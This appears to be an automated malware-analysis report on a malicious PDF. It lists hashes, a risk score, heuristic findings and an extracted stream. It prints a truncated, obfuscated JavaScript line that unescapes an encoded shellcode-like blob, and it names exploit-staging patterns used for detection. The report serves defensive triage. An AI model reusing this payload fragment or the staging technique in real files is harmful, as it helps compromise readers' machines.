PDF malware analysis — malicious · 3a631d61980c51f9

MALICIOUS

PDF

1.2 KB First seen: 2012-06-28

MD5: 719b2199899cad93cd308a4186f6bf75 SHA-1: aa4b0bf7d7e5417da7ee54750200232b2f3d65d6 SHA-256: 3a631d61980c51f98fcd8093edba0024bf9f2b884880849c6278f9eeceec1f41

148 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell

The PDF file was flagged as suspicious by a machine learning classifier with high confidence. Static analysis revealed embedded JavaScript, indicated by heuristic firings for PDF_JAVASCRIPT and PDF_JS. While no specific malicious actions could be definitively determined from the limited extracted content, the presence of JavaScript in a PDF commonly indicates an attempt to execute arbitrary code or exploit a vulnerability.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 4

JavaScript action low 2 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.

Matched line in script

function c8IxRH2cfcd2(){var c8IxRH2c4ca4 = unescape("%u5350%u5251%u5756%u9C55%u00E8%u0000%u5D00%uED83%u310D%u64C0%u4003%u7830%u8B0C%u0C40%u708B%uAD1C%u408B%uEB08%u8B09%u3440%u408D%u8B7C%u3C40%u5756%u5EBE%u0001%u0100%uBFEE%u014E%u0000%uEF01%uD6E8%u0001%u5F00%u895E%u81EA%u5EC2%u0001%u5200%u8068%u0000%uFF00%u4E95%u0001%u8900%u81EA%u5EC2%u0001%u3100%u01F6%u8AC2%u359C%u0263%u0000%uFB80%u7400%u8806%u321C%uEB46%uC6EE%u3

Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`stream_001_off000003a1.bin`	decompressed-pdf-stream	PDF FlateDecoded stream at offset 0x3A1	416 bytes
SHA-256: `344e97db2bc55e70f4b6adf45f364093f9004f5d276c2ce8e0734b1b56488c85`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 eval/decoder/string-building token(s).

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